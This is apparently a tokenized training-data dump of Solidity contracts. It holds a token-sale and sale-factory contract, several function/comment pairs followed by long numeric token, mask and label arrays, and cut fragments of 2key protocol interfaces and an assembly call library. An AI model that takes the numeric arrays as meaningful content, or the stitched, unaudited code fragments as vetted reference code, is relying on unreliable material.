timeToShift ); } } /// @notice Admin function to set sale parameters function setSaleParams( address _token, address _saleOwner, uint256 _tokenPriceInFTM, uint256 _amountOfTokensToSell, uint256 _saleEnd, uint256 _tokensUnlockTime, uint256 _portionVestingPrecision, uint256 _stakingRoundId, uint256 _registrationDepositFTM ) external onlyAdmin { require(!sale.isCreated, "setSaleParams: Sale is already created."); require( _saleOwner != address(0), "setSaleParams: Sale owner address can not be 0." ); require( _tokenPriceInFTM != 0 && _amountOfTokensToSell != 0 && _saleEnd > block.timestamp && _tokensUnlockTime > block.timestamp, "setSaleParams: Bad input" ); require(_portionVestingPrecision >= 100, "Should be at least 100"); require(_stakingRoundId > 0, "Staking round ID can not be 0."); // Set params sale.token = IERC20(_token); sale.isCreated = true; sale.saleOwner = _saleOwner; sale.tokenPriceInFTM = _tokenPriceInFTM; sale.amountOfTokensToSell = _amountOfTokensToSell; sale.saleEnd = _saleEnd; sale.tokensUnlockTime = _tokensUnlockTime; // Deposit in FTM, sent during the registration registrationDepositFTM = _registrationDepositFTM; // Set portion vesting precision portionVestingPrecision = _portionVestingPrecision; // Set staking round id stakingRoundId = _stakingRoundId; // Emit event emit SaleCreated( sale.saleOwner, sale.tokenPriceInFTM, sale.amountOfTokensToSell, sale.saleEnd, sale.tokensUnlockTime ); } // @notice Function to retroactively set sale token address, can be called only once, // after initial contract creation has passed. Added as an options for teams which // are not having token at the moment of sale launch. function setSaleToken( address saleToken ) external onlyAdmin { require(address(sale.token) == address(0)); sale.token = IERC20(saleToken); } /// @notice Function to set registration period parameters function setRegistrationTime( uint256 _registrationTimeStarts, uint256 _registrationTimeEnds ) external onlyAdmin { require(sale.isCreated); require(registration.registrationTimeStarts == 0); require( _registrationTimeStarts >= block.timestamp && _registrationTimeEnds > _registrationTimeStarts ); require(_registrationTimeEnds < sale.saleEnd); if (roundIds.length > 0) { require( _registrationTimeEnds < roundIdToRound[roundIds[0]].startTime ); } registration.registrationTimeStarts = _registrationTimeStarts; registration.registrationTimeEnds = _registrationTimeEnds; emit RegistrationTimeSet( registration.registrationTimeStarts, registration.registrationTimeEnds ); } function setRounds( uint256[] calldata startTimes, uint256[] calldata maxParticipations ) external onlyAdmin { require(sale.isCreated); require( startTimes.length == maxParticipations.length, "setRounds: Bad input." ); require(roundIds.length == 0, "setRounds: Rounds are set already."); require(startTimes.length > 0); uint256 lastTimestamp = 0; for (uint256 i = 0; i < startTimes.length; i++) { require(startTimes[i] > registration.registrationTimeEnds); require(startTimes[i] < sale.saleEnd); require(startTimes[i] >= block.timestamp); require(maxParticipations[i] > 0); require(startTimes[i] > lastTimestamp); lastTimestamp = startTimes[i]; // Compute round Id uint256 roundId = i + 1; // Push id to array of ids roundIds.push(roundId); // Create round Round memory round = Round(startTimes[i], maxParticipations[i]); // Map round id to round roundIdToRound[roundId] = round; // Fire event emit RoundAdded(roundId, round.startTime, round.maxParticipation); } } /// @notice Registration for sale. /// @param roundId is the round for which user expressed interest to participate function registerForSale(uint256 roundId) external payable { require( msg.value == registrationDepositFTM, "Registration deposit does not match." ); require(roundId != 0, "Round ID can not be 0."); require(roundId <= roundIds.length, "Invalid round id"); require( block.timestamp >= registration.registrationTimeStarts && block.timestamp <= registration.registrationTimeEnds, "Registration gate is closed." ); require( addressToRoundRegisteredFor[msg.sender] == 0, "User can not register twice." ); // Rounds are 1,2,3 addressToRoundRegisteredFor[msg.sender] = roundId; // Special cases for staking round if (roundId == stakingRoundId) { // Lock users stake allocationStakingContract.setTokensUnlockTime( 0, msg.sender, sale.saleEnd ); } // Increment number of registered users registration.numberOfRegistrants++; // Increase earnings from registration fees registrationFees = registrationFees.add(msg.value); // Emit Registration event emit UserRegistered(msg.sender, roundId); } /// @notice Admin function, to update token price before sale to match the closest $ desired rate. /// @dev This will be updated with an oracle during the sale every N minutes, so the users will always /// pay initialy set $ value of the token. This is to reduce reliance on the FTM volatility. function updateTokenPriceInFTM(uint256 price) external onlyAdmin { require(price > 0, "Price can not be 0."); // Allowing oracle to run and change the sale value sale.tokenPriceInFTM = price; emit TokenPriceSet(price); } /// @notice Admin function to postpone the sale function postponeSale(uint256 timeToShift) external onlyAdmin { require( block.timestamp < roundIdToRound[roundIds[0]].startTime, "1st round already started." ); // Iterate through all registered rounds and postpone them for (uint256 i = 0; i < roundIds.length; i++) { Round storage round = roundIdToRound[roundIds[i]]; // Postpone sale round.startTime = round.startTime.add(timeToShift); require( round.startTime + timeToShift < sale.saleEnd, "Start time can not be greater than end time." ); } } /// @notice Function to extend registration period function extendRegistrationPeriod(uint256 timeToAdd) external onlyAdmin { require( registration.registrationTimeEnds.add(timeToAdd) < roundIdToRound[roundIds[0]].startTime, "Registration period overflows sale start." ); registration.registrationTimeEnds = registration .registrationTimeEnds .add(timeToAdd); } /// @notice Admin function to set max participation cap per round function setCapPerRound(uint256[] calldata rounds, uint256[] calldata caps) external onlyAdmin { require( block.timestamp < roundIdToRound[roundIds[0]].startTime, "1st round already started." ); require(rounds.length == caps.length, "Arrays length is different."); for (uint256 i = 0; i < rounds.length; i++) { require(caps[i] > 0, "Can't set max participation to 0"); Round storage round = roundIdToRound[rounds[i]]; round.maxParticipation = caps[i]; emit MaxParticipationSet(rounds[i], round.maxParticipation); } } // Function for owner to deposit tokens, can be called only once. function depositTokens() external onlySaleOwner { require( !sale.tokensDeposited, "Deposit can be done only once" ); sale.tokensDeposited = true; sale.token.safeTransferFrom( msg.sender, address(this), sale.amountOfTokensToSell ); } // Function to participate in the sales function participate( uint256 amount, uint256 amountFameToBurn, uint256 roundId ) external payable { require(roundId != 0, "Round can not be 0."); require( amount <= roundIdToRound[roundId].maxParticipation, "Overflowing maximal participation for this round." ); // User must have registered for the round in advance require( addressToRoundRegisteredFor[msg.sender] == roundId, "Not registered for this round" ); // Check user haven't participated before require(!isParticipated[msg.sender], "User can participate only once."); // Disallow contract calls. require(msg.sender == tx.origin, "Only direct contract calls."); // Get current active round uint256 currentRound = getCurrentRound(); // Assert that require( roundId == currentRound, "You can not participate in this round." ); // Compute the amount of tokens user is buying uint256 amountOfTokensBuying = (msg.value).mul(one).div( sale.tokenPriceInFTM ); // Must buy more than 0 tokens require(amountOfTokensBuying > 0, "Can't buy 0 tokens"); // Check in terms of user allo require( amountOfTokensBuying <= amount, "Trying to buy more than allowed." ); // Increase amount of sold tokens sale.totalTokensSold = sale.totalTokensSold.add(amountOfTokensBuying); // Increase amount of FTM raised sale.totalFTMRaised = sale.totalFTMRaised.add(msg.value); bool[] memory _isPortionWithdrawn = new bool[]( vestingPortionsUnlockTime.length ); // Create participation object Participation memory p = Participation({ amountBought: amountOfTokensBuying, amountFTMPaid: msg.value, timeParticipated: block.timestamp, roundId: roundId, isPortionWithdrawn: _isPortionWithdrawn }); // Staking round only. if (roundId == stakingRoundId) { // Burn FAME from this user. allocationStakingContract.redistributeFame( 0, msg.sender, amountFameToBurn ); } // Add participation for user. userToParticipation[msg.sender] = p; // Mark user is participated isParticipated[msg.sender] = true; // Increment number of participants in the Sale. numberOfParticipants++; // Decrease of available registration fees registrationFees = registrationFees.sub(registrationDepositFTM); // Transfer registration deposit amount in FTM back to the users. safeTransferFTM(msg.sender, registrationDepositFTM); emit RegistrationFTMRefunded(msg.sender, registrationDepositFTM); emit TokensSold(msg.sender, amountOfTokensBuying); } /// Users can claim their participation function withdrawTokens(uint256 portionId) external { require( block.timestamp >= sale.tokensUnlockTime, "Tokens can not be withdrawn yet." ); require(portionId < vestingPercentPerPortion.length); Participation storage p = userToParticipation[msg.sender]; if ( !p.isPortionWithdrawn[portionId] && vestingPortionsUnlockTime[portionId] <= block.timestamp ) { p.isPortionWithdrawn[portionId] = true; uint256 amountWithdrawing = p .amountBought .mul(vestingPercentPerPortion[portionId]) .div(portionVestingPrecision); // Withdraw percent which is unlocked at that portion if(amountWithdrawing > 0) { sale.token.safeTransfer(msg.sender, amountWithdrawing); emit TokensWithdrawn(msg.sender, amountWithdrawing); } } else { revert("Tokens already withdrawn or portion not unlocked yet."); } } // Expose function where user can withdraw multiple unlocked portions at once. function withdrawMultiplePortions(uint256 [] calldata portionIds) external { uint256 totalToWithdraw = 0; Participation storage p = userToParticipation[msg.sender]; for(uint i=0; i < portionIds.length; i++) { uint256 portionId = portionIds[i]; require(portionId < vestingPercentPerPortion.length); if ( !p.isPortionWithdrawn[portionId] && vestingPortionsUnlockTime[portionId] <= block.timestamp ) { p.isPortionWithdrawn[portionId] = true; uint256 amountWithdrawing = p .amountBought .mul(vestingPercentPerPortion[portionId]) .div(portionVestingPrecision); // Withdraw percent which is unlocked at that portion totalToWithdraw = totalToWithdraw.add(amountWithdrawing); } } if(totalToWithdraw > 0) { sale.token.safeTransfer(msg.sender, totalToWithdraw); emit TokensWithdrawn(msg.sender, totalToWithdraw); } } // Internal function to handle safe transfer function safeTransferFTM(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success); } /// Function to withdraw all the earnings and the leftover of the sale contract. function withdrawEarningsAndLeftover() external onlySaleOwner { withdrawEarningsInternal(); withdrawLeftoverInternal(); } // Function to withdraw only earnings function withdrawEarnings() external onlySaleOwner { withdrawEarningsInternal(); } // Function to withdraw only leftover function withdrawLeftover() external onlySaleOwner { withdrawLeftoverInternal(); } // function to withdraw earnings function withdrawEarningsInternal() internal { // Make sure sale ended require(block.timestamp >= sale.saleEnd); // Make sure owner can't withdraw twice require(!sale.earningsWithdrawn); sale.earningsWithdrawn = true; // Earnings amount of the owner in FTM uint256 totalProfit = sale.totalFTMRaised; safeTransferFTM(msg.sender, totalProfit); } // Function to withdraw leftover function withdrawLeftoverInternal() internal { // Make sure sale ended require(block.timestamp >= sale.saleEnd); // Make sure owner can't withdraw twice require(!sale.leftoverWithdrawn); sale.leftoverWithdrawn = true; // Amount of tokens which are not sold uint256 leftover = sale.amountOfTokensToSell.sub(sale.totalTokensSold); if (leftover > 0) { sale.token.safeTransfer(msg.sender, leftover); } } // Function after sale for admin to withdraw registration fees if there are any left. function withdrawRegistrationFees() external onlyAdmin { require(block.timestamp >= sale.saleEnd, "Require that sale has ended."); require(registrationFees > 0, "No earnings from registration fees."); // Transfer FTM to the admin wallet. safeTransferFTM(msg.sender, registrationFees); // Set registration fees to be 0 registrationFees = 0; } // Function where admin can withdraw all unused funds. function withdrawUnusedFunds() external onlyAdmin { uint256 balanceFTM = address(this).balance; uint256 totalReservedForRaise = sale.earningsWithdrawn ? 0 : sale.totalFTMRaised; safeTransferFTM( msg.sender, balanceFTM.sub(totalReservedForRaise.add(registrationFees)) ); } // Function to act as a fallback and handle receiving FTM. receive() external payable { } /// @notice Get current round in progress. /// If 0 is returned, means sale didn't start or it's ended. function getCurrentRound() public view returns (uint256) { uint256 i = 0; if (block.timestamp < roundIdToRound[roundIds[0]].startTime) { return 0; // Sale didn't start yet. } while ( (i + 1) < roundIds.length && block.timestamp > roundIdToRound[roundIds[i + 1]].startTime ) { i++; } if (block.timestamp >= sale.saleEnd) { return 0; // Means sale is ended } return roundIds[i]; } /// @notice Function to get participation for passed user address function getParticipation(address _user) external view returns ( uint256, uint256, uint256, uint256, bool[] memory ) { Participation memory p = userToParticipation[_user]; return ( p.amountBought, p.amountFTMPaid, p.timeParticipated, p.roundId, p.isPortionWithdrawn ); } /// @notice Function to get number of registered users for sale function getNumberOfRegisteredUsers() external view returns (uint256) { return registration.numberOfRegistrants; } /// @notice Function to get all info about vesting. function getVestingInfo() external view returns (uint256[] memory, uint256[] memory) { return (vestingPortionsUnlockTime, vestingPercentPerPortion); } } // File contracts/sales/SalesFactory.sol pragma solidity 0.6.12; contract SalesFactory { IAdmin public admin; address public allocationStaking; mapping (address => bool) public isSaleCreatedThroughFactory; mapping(address => address) public saleOwnerToSale; mapping(address => address) public tokenToSale; // Expose so query can be possible only by position as well address [] public allSales; event SaleDeployed(address saleContract); event SaleOwnerAndTokenSetInFactory(address sale, address saleOwner, address saleToken); modifier onlyAdmin { require(admin.isAdmin(msg.sender), "Only Admin can deploy sales"); _; } constructor (address _adminContract, address _allocationStaking) public { admin = IAdmin(_adminContract); allocationStaking = _allocationStaking; } // Set allocation staking contract address. function setAllocationStaking(address _allocationStaking) public onlyAdmin { require(_allocationStaking != address(0)); allocationStaking = _allocationStaking; } function deploySale() external onlyAdmin { FantomSale sale = new FantomSale(address(admin), allocationStaking); isSaleCreatedThroughFactory[address(sale)] = true; allSales.push(address(sale)); emit SaleDeployed(address(sale)); } // Function to return number of pools deployed function getNumberOfSalesDeployed() external view returns (uint) { return allSales.length; } // Function function getLastDeployedSale() external view returns (address) { // if(allSales.length > 0) { return allSales[allSales.length - 1]; } return address(0); } // Function to get all sales function getAllSales(uint startIndex, uint endIndex) external view returns (address[] memory) { require(endIndex > startIndex, "Bad input"); address[] memory sales = new address[](endIndex - startIndex); uint index = 0; for(uint i = startIndex; i < endIndex; i++) { sales[index] = allSales[i]; index++; } return sales; } }
Function where admin can withdraw all unused funds.
function withdrawUnusedFunds() external onlyAdmin { uint256 balanceFTM = address(this).balance; uint256 totalReservedForRaise = sale.earningsWithdrawn ? 0 : sale.totalFTMRaised; safeTransferFTM( msg.sender, balanceFTM.sub(totalReservedForRaise.add(registrationFees)) ); }
12,826,389
[ 1, 2083, 1625, 3981, 848, 598, 9446, 777, 10197, 284, 19156, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 598, 9446, 21106, 42, 19156, 1435, 3903, 1338, 4446, 288, 203, 3639, 2254, 5034, 11013, 4464, 49, 273, 1758, 12, 2211, 2934, 12296, 31, 203, 203, 3639, 2254, 5034, 2078, 10435, 1290, 30570, 273, 272, 5349, 18, 73, 1303, 899, 1190, 9446, 82, 692, 374, 294, 272, 5349, 18, 4963, 4464, 49, 12649, 5918, 31, 203, 203, 3639, 4183, 5912, 4464, 49, 12, 203, 5411, 1234, 18, 15330, 16, 203, 5411, 11013, 4464, 49, 18, 1717, 12, 4963, 10435, 1290, 30570, 18, 1289, 12, 14170, 2954, 281, 3719, 203, 3639, 11272, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0xE2018A94EBc2147A067ac8b88b7773F9E1F0bcb2/sources/contracts/GameItems.sol
SPDX-License-Identifier: MIT
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
822,819
[ 1, 3118, 28826, 17, 13211, 17, 3004, 30, 490, 1285, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5666, 8787, 3190, 94, 881, 84, 292, 267, 19, 16351, 87, 19, 2316, 19, 654, 39, 2499, 2539, 19, 654, 39, 2499, 2539, 18, 18281, 14432, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xA15c408C36570C16fd4A7DEdBC6a6103207A7d1F/sources/browser/farmgenerator.sol
* @notice Determine the endBlock based on inputs. Used on the front end to show the exact settings the Farm contract will be deployed with/
function determineEndBlock (uint256 _amount, uint256 _blockReward, uint256 _startBlock, uint256 _bonusEndBlock, uint256 _bonus) public pure returns (uint256, uint256) { FarmParameters memory params; params.bonusBlocks = _bonusEndBlock.sub(_startBlock); params.totalBonusReward = params.bonusBlocks.mul(_bonus).mul(_blockReward); params.numBlocks = _amount.sub(params.totalBonusReward).div(_blockReward); params.endBlock = params.numBlocks.add(params.bonusBlocks).add(_startBlock); uint256 nonBonusBlocks = params.endBlock.sub(_bonusEndBlock); uint256 effectiveBlocks = params.bonusBlocks.mul(_bonus).add(nonBonusBlocks); uint256 requiredAmount = _blockReward.mul(effectiveBlocks); return (params.endBlock, requiredAmount); }
9,690,847
[ 1, 8519, 326, 679, 1768, 2511, 603, 4540, 18, 10286, 603, 326, 6641, 679, 358, 2405, 326, 5565, 1947, 326, 478, 4610, 6835, 903, 506, 19357, 598, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4199, 1638, 1768, 261, 11890, 5034, 389, 8949, 16, 2254, 5034, 389, 2629, 17631, 1060, 16, 2254, 5034, 389, 1937, 1768, 16, 2254, 5034, 389, 18688, 407, 1638, 1768, 16, 2254, 5034, 389, 18688, 407, 13, 1071, 16618, 1135, 261, 11890, 5034, 16, 2254, 5034, 13, 288, 203, 3639, 478, 4610, 2402, 3778, 859, 31, 203, 3639, 859, 18, 18688, 407, 6450, 273, 389, 18688, 407, 1638, 1768, 18, 1717, 24899, 1937, 1768, 1769, 203, 3639, 859, 18, 4963, 38, 22889, 17631, 1060, 273, 859, 18, 18688, 407, 6450, 18, 16411, 24899, 18688, 407, 2934, 16411, 24899, 2629, 17631, 1060, 1769, 203, 3639, 859, 18, 2107, 6450, 273, 389, 8949, 18, 1717, 12, 2010, 18, 4963, 38, 22889, 17631, 1060, 2934, 2892, 24899, 2629, 17631, 1060, 1769, 203, 3639, 859, 18, 409, 1768, 273, 859, 18, 2107, 6450, 18, 1289, 12, 2010, 18, 18688, 407, 6450, 2934, 1289, 24899, 1937, 1768, 1769, 203, 540, 203, 3639, 2254, 5034, 1661, 38, 22889, 6450, 273, 859, 18, 409, 1768, 18, 1717, 24899, 18688, 407, 1638, 1768, 1769, 203, 3639, 2254, 5034, 11448, 6450, 273, 859, 18, 18688, 407, 6450, 18, 16411, 24899, 18688, 407, 2934, 1289, 12, 5836, 38, 22889, 6450, 1769, 203, 3639, 2254, 5034, 1931, 6275, 273, 389, 2629, 17631, 1060, 18, 16411, 12, 28894, 6450, 1769, 203, 3639, 327, 261, 2010, 18, 409, 1768, 16, 1931, 6275, 1769, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.13; contract IStructuredStorage { function setProxyLogicContractAndDeployer(address _proxyLogicContract, address _deployer) external; function setProxyLogicContract(address _proxyLogicContract) external; // *** Getter Methods *** function getUint(bytes32 _key) external view returns(uint); function getString(bytes32 _key) external view returns(string); function getAddress(bytes32 _key) external view returns(address); function getBytes(bytes32 _key) external view returns(bytes); function getBool(bytes32 _key) external view returns(bool); function getInt(bytes32 _key) external view returns(int); function getBytes32(bytes32 _key) external view returns(bytes32); // *** Getter Methods For Arrays *** function getBytes32Array(bytes32 _key) external view returns (bytes32[]); function getAddressArray(bytes32 _key) external view returns (address[]); function getUintArray(bytes32 _key) external view returns (uint[]); function getIntArray(bytes32 _key) external view returns (int[]); function getBoolArray(bytes32 _key) external view returns (bool[]); // *** Setter Methods *** function setUint(bytes32 _key, uint _value) external; function setString(bytes32 _key, string _value) external; function setAddress(bytes32 _key, address _value) external; function setBytes(bytes32 _key, bytes _value) external; function setBool(bytes32 _key, bool _value) external; function setInt(bytes32 _key, int _value) external; function setBytes32(bytes32 _key, bytes32 _value) external; // *** Setter Methods For Arrays *** function setBytes32Array(bytes32 _key, bytes32[] _value) external; function setAddressArray(bytes32 _key, address[] _value) external; function setUintArray(bytes32 _key, uint[] _value) external; function setIntArray(bytes32 _key, int[] _value) external; function setBoolArray(bytes32 _key, bool[] _value) external; // *** Delete Methods *** function deleteUint(bytes32 _key) external; function deleteString(bytes32 _key) external; function deleteAddress(bytes32 _key) external; function deleteBytes(bytes32 _key) external; function deleteBool(bytes32 _key) external; function deleteInt(bytes32 _key) external; function deleteBytes32(bytes32 _key) external; } contract ITwoKeyEventSourceEvents { // This 2 functions will be always in the interface since we need them very often function ethereumOf(address me) public view returns (address); function plasmaOf(address me) public view returns (address); function created( address _campaign, address _owner, address _moderator ) external; function rewarded( address _campaign, address _to, uint256 _amount ) external; function acquisitionCampaignCreated( address proxyLogicHandler, address proxyConversionHandler, address proxyAcquisitionCampaign, address proxyPurchasesHandler, address contractor ) external; function donationCampaignCreated( address proxyDonationCampaign, address proxyDonationConversionHandler, address proxyDonationLogicHandler, address contractor ) external; function priceUpdated( bytes32 _currency, uint newRate, uint _timestamp, address _updater ) external; function userRegistered( string _name, address _address, string _fullName, string _email, string _username_walletName ) external; function cpcCampaignCreated( address proxyCPC, address contractor ) external; function emitHandleChangedEvent( address _userPlasmaAddress, string _newHandle ) public; } contract ITwoKeyMaintainersRegistry { function checkIsAddressMaintainer(address _sender) public view returns (bool); function checkIsAddressCoreDev(address _sender) public view returns (bool); function addMaintainers(address [] _maintainers) public; function addCoreDevs(address [] _coreDevs) public; function removeMaintainers(address [] _maintainers) public; function removeCoreDevs(address [] _coreDevs) public; } contract ITwoKeySingletoneRegistryFetchAddress { function getContractProxyAddress(string _contractName) public view returns (address); function getNonUpgradableContractAddress(string contractName) public view returns (address); function getLatestCampaignApprovedVersion(string campaignType) public view returns (string); } interface ITwoKeySingletonesRegistry { /** * @dev This event will be emitted every time a new proxy is created * @param proxy representing the address of the proxy created */ event ProxyCreated(address proxy); /** * @dev This event will be emitted every time a new implementation is registered * @param version representing the version name of the registered implementation * @param implementation representing the address of the registered implementation * @param contractName is the name of the contract we added new version */ event VersionAdded(string version, address implementation, string contractName); /** * @dev Registers a new version with its implementation address * @param version representing the version name of the new implementation to be registered * @param implementation representing the address of the new implementation to be registered */ function addVersion(string _contractName, string version, address implementation) public; /** * @dev Tells the address of the implementation for a given version * @param _contractName is the name of the contract we're querying * @param version to query the implementation of * @return address of the implementation registered for the given version */ function getVersion(string _contractName, string version) public view returns (address); } contract ITwoKeyRegistryStorage is IStructuredStorage { } library Call { function params0(address c, bytes _method) public view returns (uint answer) { // https://medium.com/@blockchain101/calling-the-function-of-another-contract-in-solidity-f9edfa921f4c // dc = c; bytes4 sig = bytes4(keccak256(_method)); assembly { // move pointer to free memory spot let ptr := mload(0x40) // put function sig at memory spot mstore(ptr,sig) let result := call( // use WARNING because this should be staticcall BUT geth crash! 15000, // gas limit c, // sload(dc_slot), // to addr. append var to _slot to access storage variable 0, // not transfer any ether (comment if using staticcall) ptr, // Inputs are stored at location ptr 0x04, // Inputs are 0 bytes long ptr, //Store output over input 0x20) //Outputs are 1 bytes long if eq(result, 0) { revert(0, 0) } answer := mload(ptr) // Assign output to answer var mstore(0x40,add(ptr,0x24)) // Set storage pointer to new space } } function params1(address c, bytes _method, uint _val) public view returns (uint answer) { // https://medium.com/@blockchain101/calling-the-function-of-another-contract-in-solidity-f9edfa921f4c // dc = c; bytes4 sig = bytes4(keccak256(_method)); assembly { // move pointer to free memory spot let ptr := mload(0x40) // put function sig at memory spot mstore(ptr,sig) // append argument after function sig mstore(add(ptr,0x04), _val) let result := call( // use WARNING because this should be staticcall BUT geth crash! 15000, // gas limit c, // sload(dc_slot), // to addr. append var to _slot to access storage variable 0, // not transfer any ether (comment if using staticcall) ptr, // Inputs are stored at location ptr 0x24, // Inputs are 0 bytes 